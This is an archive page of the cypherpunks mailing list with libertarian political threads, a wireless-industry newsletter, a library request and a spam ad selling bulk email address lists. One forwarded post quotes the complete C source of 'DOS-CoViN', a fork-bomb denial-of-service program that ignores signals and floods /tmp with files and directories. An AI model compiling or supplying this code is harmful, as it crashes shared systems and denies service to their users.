December 2003 - cypherpunks-legacy

Re: Bad govt represents bad people?
by Pat Farrell 17 Dec '03

17 Dec '03

"Perry E. Metzger" <perry(a)imsi.com> writes: > > Not to denegrate either of those individuals, but the "original" work > on public choice economics was worth a Nobel Prize some years ago to > Buchannan (sp?). Its only been recently that the ideas have been James Buchanan is at GMU, clearly one of the brightest stars on the faculty. > popularized by others. The concepts are more or less inherent in the > work of the Austrian school economists as well, so I suppose one > should credit Mises, Hayek, and the rest... Required reading, of course. Spontaneous order of markets and all that. Pat Pat Farrell Grad Student pfarrell(a)cs.gmu.edu Department of Computer Science George Mason University, Fairfax, VA Public key availble via finger #include <standard.disclaimer>

1 0

Re: Bad govt represents bad people?
by koontzd＠lrcs.loral.com 17 Dec '03

17 Dec '03

>Government will continually encroach upon its citizens' rights if the >people do not stand up for their liberties - therefore, if the citizens do >not protect their liberties, the liberties will be lost, and the people >will be responsible for this loss of liberty. Since when is the victim responsible for the crime?

2 1

Alt.Gvmt.Bad.Bad.Bad
by blancw＠pylon.com 17 Dec '03

17 Dec '03

>From Rachel_P._Kovner: >It was once said that (and I quote -very- loosely) "The >price of liberty is eternal vigilance", therefore, >'bad government' is probably not a result of some kind >of evil or malicious people, but just people who do not >guard their rights. It could also be said, somewhat loosely, that criminal theft is just the result of people who do not protect their property. For them it's as easy as falling off a log: the big G will just keep getting worse and taking over more (Somebody Stop Me!). >From :Perry E. Metzger: >Actually, as public choice economic theory has shown, >bad government tends to be the inevitable result of >the evolutionary pressures on government and >government officials. The 'evolutionary' pressure on Government tends to go in the direction away from keeping accurate accounts, including keeping an eye on the consequences of policies & procedures. They would rather not note what the real source of new goods and wealth is, and they would rather not keep track of the success/failure of their legislative constructs. All this pressure towards backsliding on the evolutionary scale means that the big G will accept being as dependent on others, as some would like to be upon them. At the very least, they're not very admirable for making the rest of the population work so hard to prevent them from taking everybody down with them. Blanc

2 1

Re: Civil crypto anarchy
by John Young 17 Dec '03

17 Dec '03

Responding to msg by wcs(a)anchor.ho.att.com (bill.stewart(a)pleasantonca.ncr.com +1-510-484-6204) on Tue, 30 Aug 6:56 PM > >Sigh. Unfortunately, governments have been quite >effective in making people more afraid of "anarchists" >than they are of governments with nuclear >weapons..... Yeah, it's been conventional wisdom around NYC since the 19th century that the best way to get some funding from LEAs was to set up a group with the word "anarchist" in it, or have an anarchist-like manifesto. In the 80s the "commie bomb thrower" types were bitching that the money was moving out west to the "right wing gun nut" types. Now long-time anarchist hustlers around here say that even the gray-haired cops bemoan Red-squad cut backs so that LEA money could go toward defeating "psychopath survivalists" and "the David Koreshes" and "murderous ex-defense workers". To divert attention from the nuclear geopolitics of the Kissingers.

1 0

WOW-COM(TM) News Update
by wcreply＠ctia.org 17 Dec '03

17 Dec '03

Dear WOW-COM Reader: WOW-COM is the wireless industrys online information source, a free service of CTIA. Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today! INDEX: ====== 1) Letters to FBI regarding Electronic Surveillance 2) The Clearinghouse Report on Antenna Siting 3) WOW-COM's MICROSITES: Focused Content for Focused Needs 4) Taking a vacation? Use our news archive feature Electronic surveillance standards: CALEA ======================================================= http://www.wow-com.com/professional/whatshot/ The Cellular Telecommunications Industry Association ("CTIA") filed a petition for rulemaking before the Federal Communications Commission ("Commission") on Wednesday July 16, 1997, to expedite development of a lawfully authorized electronic surveillance standard under the 1994 Communications Assistance for Law Enforcement Act ("CALEA"). See the whole story here. THE CLEARINGHOUSE REPORT ON ANTENNA SITING ============================================== http://www.wow-com.com/professional/siting/ Check out the CTIA Clearinghouse Report on Siting, the industrys most comprehensive research on siting issues. Containing information on current moratoria, new regulations proposed and adopted by municipalities and recent judicial proceedings. The Siting Report is located in the Siting Microsite. WOW-COM's MICROSITES: Focused Content for Focused Needs =================================================== http://www.wow-com.com/professional/micro/ A Microsite is a subsection of WOW-COM(TM) that focuses on an issue of vital interest to the wireless industry. WOW-COM currently supports Microsites on the following topics: Antenna Siting, Wireless Fraud, Systems Integration, Wireless Apps. TAKING A VACATION? USE OUR NEWS ARCHIVE FEATURE! ================================================= http://www.wow-com.com/results/professional/news/ Getting back from vacation and need to catch up on wireless news? WOW-COM's News Search feature can access any news article that has ever been on our system. Just scroll to the bottom of this page and type in the keyword and, or date range. ================================================== MORE WOW-COM FEATURES ============================= WOW-COM is current: Updated 3x per day. WOW-COM is insightful: CTIAs unbiased analysis WOW-COM is beneficial: Find products and services in WOW-COM's Virtual Trade Show. List open positions in the WOW-COM Career Center, get resumes via email, and hire qualified individuals. The world of wireless is in constant motion. Stay on top of the news and benefit from CTIAs analysis by reading WOW-COM everyday. You may remove yourself from the WOW-COM mailing list by going to http://www.wow-com.com/unsubscribe ============================================================= This update sponsored by: IBM http://www.wow-com.com/professional/systemint/ Today, more than ever, wireless carriers must remain flexible and respond rapidly to changing market conditions. Your success will depend on understanding your strategic opportunities and threats and quickly responding to them. To accomplish this, a wireless carrier must build linked that are both sophisticated, comprehensive and flexible. This is no small endeavor. IBM has developed a general multilevel blueprint of a wireless company to assist wireless carriers pursuing this goal. Take a look at how we can help you achieve your goals. =============================================================

1 0

vendors of royalty free libraries of PEM or PGP.
by Kevin Brisco 17 Dec '03

17 Dec '03

Hello, Has anybody heard of vendors of royalty free libraries of PEM or PGP? Tzachi Sharfman.

1 0

Arizona State Email Non-Privacy Policy
by Gary Jeffers 17 Dec '03

17 Dec '03

Netsurfer writes: >Within the US Gov't it is not uncommon to be told that you are not to >receive personal phone calls on government time/government equipment. ot >every office etc. enforces it, but it _is_ their equipment and you are >working on _their_ time. Seems kinda harsh, but is legal and within thir >rights. Naturally emergencies are an exception. I have some problems with this: "It is their equipment and you are working on their time". Govt property is stolen property. To agree that you are dealing with their property & their time is to confer legitimacy on their theft. I have problems with this: "...and within their rights." The relation- ship between rights & legal rights of the state is something like that of turtle soup to" real mock turtle soup". I don't wish to flame you, but if we confer legitimacy to the state thru our common conversation then it will be hard to free ourselves. PUSH EM BACK! PUSH EM BACK! WWWAAAYYY BBBAAACCCK! BBBEEEAAATTTT STATE! Gary Jeffers

1 0

Controversial Technology
by Jim Choate 17 Dec '03

17 Dec '03

Hi Jack, I have removed your subscription to the Experimental Science Instrumentation mailing list. I would however like to point out that security through obscurity (ie ignorance) is not security. It is self-delusion. One can not protect them selves reliably from the many consequences of technology and society via ignorance. That which you don't know not only can hurt you but can kill you. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage(a)ssz.com | | 512-451-7087 | |____________________________________________________________________| Forwarded message: > From owner-tesla(a)ssz.com Mon Jul 21 21:13:16 1997 > Date: Mon, 21 Jul 1997 21:13:15 -0500 > Message-Id: <199707220213.VAA12566(a)einstein.ssz.com> > To: owner-tesla(a)ssz.com > From: owner-tesla(a)ssz.com > Subject: BOUNCE tesla(a)ssz.com: Admin request > > >From tesla-owner(a)ssz.com Mon Jul 21 21:13:13 1997 > Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for <tesla(a)ssz.com>; Mon, 21 Jul 1997 21:13:11 -0500 > Date: Mon, 21 Jul 1997 21:13:11 -0500 > Message-Id: <199707220213.VAA12560(a)einstein.ssz.com> > Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon, > 21 Jul 1997 19:21:36 MST > X-Sender: JHERRON(a)BASIX.COM > X-Mailer: Windows Eudora Light Version 1.5.2 > MIME-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > To: tesla(a)ssz.com > From: JACK HERRON <JHERRON(a)BASIX.COM> > Subject: Re: fork problem, fix? (fwd) > > Jim Choate, > There is nothing ethical about fabricating destructive programs and > distributing them to the irresponsible, while hiding like a coward. Please > unsubscribe me. > > Jack Herron > > > > > > > At 08:05 AM 7/21/97 -0500, you wrote: > >Forwarded message: > >>From owner-cypherpunks(a)ssz.com Mon Jul 21 07:39:29 1997 > >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST) > >Message-Id: <199707210455.GAA29231(a)basement.replay.com> > >To: cypherpunks@toad.com.redhat-list@redhat.com > >From: nobody(a)replay.com (Name Withheld by Request) > >Organization: Replay and Company UnLimited. > >XComm: This message was automaticly Remailed by an Anonymous Remailer. > >XComm: Report problems or inappropriate use to <postmaster(a)replay.com> > >subject: fork problem, fix? > >Sender: owner-cypherpunks(a)ssz.com > >Precedence: bulk > >X-Mailing-List: cypherpunks(a)ssz.com > >X-List-Admin: list(a)ssz.com > >X-Loop: ssz.com > > > >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the > > bugtraq > > > > This program is a beefed up classic denial of service fork()'er :) > > > > Compilation: > > on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c > > on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c > > > > on my linux, I can compile it with both -DBSD_C and -DSYSV_C > > > > if your not sure, you can experiment, or compile it > > without any -D'efines > > > > > > In the future: > > SunOS signals ignored. > > Creation of random symlinks for more gory destruction. > > Using advanced technology coding to make the hard drive > > blow up with a loud boom and the console explode > > causing a nuclear meltdown. > > > > > > > > Direct All Suggestions And Flames to: Vio > > > > NOTE: this program is provided for educational purposes only, its author > > will not take any responsibility for any stupid things you will > > decide to do. > > > > this has been tested, but not the latest version of it. > > > > .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a. > > $$' s `$' s `$ $ $ $ `$ $$ > > $$ $ $ $ $ $ $ $ $$ > > $$ $ $ p $ h $ e $ a $ r $ $a. $$ > > $$ $ssss$ $ $ $ $ $ $$$ $$ > > $$ $ $ $ $. $ ,$ $ $$$ $$ > > $$. $ ,$. $ ,$$. ,$$ .$ $$$ $$ > > `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$' > > > >*/ > > > > > >#include <stdio.h> > >#include <stdlib.h> > >#include <sys/types.h> > >#include <sys/stat.h> > >#include <fcntl.h> > >#include <unistd.h> > >#include <signal.h> > > > >#define MAX_FILELEN 100 /* The _actual_ max length */ > >#define MAX_DIRLEN 10 > > > >#define START_DIR "/tmp" /* This can be substituted for any directory */ > > /* that you have write access to */ > > > >void dirs_generator(void); > > > >main(int argc, char *argv[]) > >{ > >int fp; > >char *buff; > >char chr; > > > >unlink(argv[0]); > > > >/* You might wanna ignore all the signals you can ignore.. */ > >signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ > >signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ > >signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ > >signal(SIGALRM, SIG_IGN); > >signal(SIGBUS, SIG_IGN); > >signal(SIGFPE, SIG_IGN); > >signal(SIGILL, SIG_IGN); > >signal(SIGIOT, SIG_IGN); > >signal(SIGPIPE, SIG_IGN); > >signal(SIGQUIT, SIG_IGN); > >signal(SIGSEGV, SIG_IGN); > >signal(SIGTRAP, SIG_IGN); > >signal(SIGUSR1, SIG_IGN); > >signal(SIGUSR2, SIG_IGN); > > > >#ifdef BSD_C > > signal(SIGPROF, SIG_IGN); > > signal(SIGSTOP, SIG_IGN); > > signal(SIGTSTP, SIG_IGN); > > signal(SIGTTIN, SIG_IGN); > > signal(SIGTTOU, SIG_IGN); > > signal(SIGVTALRM, SIG_IGN); > > signal(SIGXCPU, SIG_IGN); > > signal(SIGXFSZ, SIG_IGN); > >#endif > > > >#ifdef SYSV_C > > signal(SIGPOLL, SIG_IGN); > > signal(SIGPWR, SIG_IGN); > >#endif > > > >if(fork()) { > > printf("Now crashing and blowing up this system.. have a nice day\n"); > > printf("You can safely logout, and let the proggie do its work\n"); > > printf("or you can stick around and watch lag go from 0 to bitch\n"); > > printf("in a matter of seconds\n"); > > printf(" --CoViN \n"); > > exit(0); > > } > >fp=open("/tmp/.foo",O_WRONLY|O_CREAT); > >if(fork()) { > > while(1) { > > fork(); > > buff = malloc(64000); > > write(fp, buff, 64000); > > system("uptime"); > > } > > } > >dirs_generator(); > >} > > > > > >void dirs_generator(void) > >{ > >char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; > >char fl[MAX_FILELEN]; > >char dir[MAX_DIRLEN]; > >int i; > >int flen; > > > >printf("Making dirs..\n"); > >chdir(START_DIR); > > > >fork(); /* For the simplicity of the code.. we also want more dir's from */ > >fork(); /* the START_DIR */ > >fork(); > > > >while(1) { > > fork(); > > flen= (rand() % MAX_FILELEN) - 1; > > for(i=0; i<flen; i++) > > fl[i] = alph[rand() % strlen(alph)]; > > fl[MAX_FILELEN-1]=0; > > i=open(fl,O_WRONLY|O_CREAT); > > write(i,"fuck you! CoViN",16); > > close(i); > > > > flen= (rand() % MAX_DIRLEN) - 1; > > for(i=0; i<flen; i++) > > dir[i] = alph[rand() % strlen(alph)]; > > dir[MAX_DIRLEN-1]=0; > > mkdir(dir,0); > > chdir(dir); > > } > >} > > > > > ----------------------------------------- > Jack Herron - Editor > Society for Amateur Scientists > 8118 E. 20th St. > Tucson, AZ 85710 USA > jherron(a)basix.com > 520 885-6933 >

1 0

YAMPR
by L. Todd Masco 17 Dec '03

17 Dec '03

(Yet Another May Prediction Realized) The text of a "digital stalking bill" was just sent to Cyberia-l. -- L. Todd Masco | "Which part of 'shall not be infringed' didn't cactus(a)bb.com | you understand?"

1 0

CD Rom - Email List
by jack＠intmktgrp.com 17 Dec '03

17 Dec '03

25 Million Addresses On CD Rom - Only $199.00 500+ Reports, Books, & Legal Forms (With Reprint Rights To Put You Into Your Own Home-Based Business Overnight) Only $199.00 Target Email Address Lists - Call For Quotation VISA & Mastercard Accepted - Call 812-597-1000

1 0